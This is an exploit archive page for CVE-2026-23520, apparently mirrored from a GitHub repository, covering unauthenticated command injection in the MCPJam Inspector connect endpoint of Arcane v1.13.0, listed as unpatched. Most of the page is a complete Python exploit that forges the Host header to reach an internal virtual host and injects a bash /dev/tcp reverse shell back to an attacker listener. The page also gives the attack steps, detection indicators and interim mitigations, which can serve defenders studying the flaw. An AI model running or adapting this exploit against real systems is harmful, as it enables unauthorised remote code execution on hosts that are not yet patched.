PoC Archive PoC Archive
Critical CVE-2026-23520 unpatched

MCPJam Inspector / Arcane MCP Connect Command Injection RCE via Host-Header Vhost Routing (CVE-2026-23520)

by kikechans · 2026-07-05

Severity
Critical
CVE
CVE-2026-23520
Category
web
Affected product
Arcane v1.13.0 (MCPJam Inspector component)
Affected versions
Arcane v1.13.0 and other stacks embedding vulnerable MCPJam Inspector /api/mcp/connect endpoint
Disclosed
2026-07-05
Patch status
unpatched

Metadata

FieldValue
Date Added2026-07-05
Last Updated2026-05
Author / Researcherkikechans
CVE / AdvisoryCVE-2026-23520
Categoryweb
SeverityCritical
CVSS ScoreNot specified in source
StatusPoC
Tagsmcp, mcpjam-inspector, arcane, command-injection, rce, host-header, vhost-routing, reverse-shell
RelatedN/A

Affected Target

FieldValue
Software / SystemArcane v1.13.0 (MCPJam Inspector component)
Versions AffectedArcane v1.13.0 and other stacks embedding vulnerable MCPJam Inspector /api/mcp/connect endpoint
Language / PlatformPython 3 exploit against a Node.js/HTTP-based MCP server
Authentication RequiredNo
Network Access RequiredYes

Summary

The Model Context Protocol (MCP) connect endpoint /api/mcp/connect accepts a JSON body describing a new server connection, including a command and args array that get executed on the host without sanitization. In many deployments the vulnerable component sits behind a reverse proxy that routes strictly by Host header, so requests sent to the bare IP return a 404. This PoC crafts the malicious serverConfig payload (spawning bash -c '<reverse shell>') and explicitly forges the Host header to the internal virtual host name, bypassing the proxy routing to reach the vulnerable endpoint directly and trigger a reverse shell back to the attacker.


Vulnerability Details

Root Cause

The /api/mcp/connect endpoint passes the attacker-controlled command and args fields of the serverConfig JSON object directly to a process-spawning call without validating that they reference a legitimate, allow-listed executable.

Attack Vector

  1. Identify the internal virtual host name routing to the MCP Inspector instance (e.g. via recon or CTF hints).
  2. Start a netcat listener on the attacker host.
  3. Send a POST to /api/mcp/connect with a forged Host header set to the internal vhost and a serverConfig body of {"command": "bash", "args": ["-c", "bash -i >& /dev/tcp/<lhost>/<lport> 0>&1"]}.
  4. The reverse proxy routes the request to the vulnerable backend based on the Host header rather than the connection IP.
  5. The backend executes the supplied command, opening a reverse shell to the attacker.

Impact

Unauthenticated remote code execution on the host running the MCP Inspector service.


Environment / Lab Setup

Target:   Arcane v1.13.0 / MCPJam Inspector behind Nginx-style Host-header vhost routing
Attacker: Python 3 + requests library, netcat listener

Proof of Concept

PoC Script

See exploit_vhost.py in this folder.

1
python3 exploit_vhost.py <target_ip> <target_port> <virtual_host> <listener_ip> <listener_port>

The script POSTs a JSON serverConfig payload to /api/mcp/connect with a forged Host header matching the target virtual host, causing the backend to spawn a bash reverse shell connecting back to the attacker’s listener. A ReadTimeout on the request is the expected indicator that the shell was triggered successfully.


Detection & Indicators of Compromise

POST /api/mcp/connect HTTP/1.1
Host: mcp.internal.local

Signs of compromise:

  • Requests to /api/mcp/connect containing "command":"bash" or shell interpreter names in the JSON body.
  • Outbound reverse-shell connections (/dev/tcp/...) originating from the MCP Inspector process.
  • Host headers referencing internal/virtual hostnames not normally used by external clients.

Remediation

ActionDetail
Primary fixNo vendor patch confirmed as of 2026-07-05 — monitor for advisory
Interim mitigationRestrict /api/mcp/connect to trusted callers, allow-list permitted command values, and validate Host headers against expected vhosts before routing

References


Notes

Mirrored from https://github.com/kikechans/-Educational-PoC-CVE-2026-23520 on 2026-07-05.

exploit_vhost.py
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
import requests
import sys
import urllib3
import argparse

# Disable insecure SSL warnings (common in CTF/Lab environments)
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

# --- EDUCATIONAL PURPOSES ONLY ---
# This script demonstrates the exploitation of CVE-2026-23520 (Command Injection)
# via the MCP connect endpoint, specifically handling virtual host routing.
# Do not use this against systems you do not own or have explicit permission to test.

def exploit(rhost, rport, vhost, lhost, lport):
    """
    Constructs and sends the malicious payload to the vulnerable endpoint.
    """
    url = f"https://{rhost}:{rport}/api/mcp/connect"
    
    # Force the Host header to reach the specific virtual host
    headers = {
        "Host": vhost,
        "Content-Type": "application/json"
    }

    # Standard reverse shell payload
    payload = f"bash -c 'bash -i >& /dev/tcp/{lhost}/{lport} 0>&1'"

    # The vulnerability: 'command' and 'args' are not properly sanitized
    data = {
        "serverConfig": {
            "command": "bash",
            "args": ["-c", payload],
            "env": {}
        },
        "serverId": "exploit"
    }

    print(f"[*] Target: {url}")
    print(f"[*] Virtual Host (Host Header): {vhost}")
    print(f"[*] Sending payload to connect back to {lhost}:{lport}...")

    try:
        # A timeout is expected because the reverse shell holds the connection open
        response = requests.post(url, json=data, headers=headers, verify=False, timeout=10)
        print(f"[*] Status Code: {response.status_code}")
        print(f"[*] Response: {response.text}")
    except requests.exceptions.ReadTimeout:
        print("[+] Read timed out! This usually means the reverse shell was triggered successfully.")
        print("[+] Check your netcat listener.")
    except Exception as e:
        print(f"[-] Error: {e}")

if __name__ == "__main__":
    parser = argparse.ArgumentParser(description="Educational PoC for CVE-2026-23520 (MCP Connect RCE)")
    parser.add_argument("rhost", help="Target IP address")
    parser.add_argument("rport", help="Target Port (e.g., 443)")
    parser.add_argument("vhost", help="Target Virtual Host (e.g., mcp.kobold.htb)")
    parser.add_argument("lhost", help="Listener IP address")
    parser.add_argument("lport", help="Listener Port")
    
    args = parser.parse_args()
    
    exploit(args.rhost, args.rport, args.vhost, args.lhost, args.lport)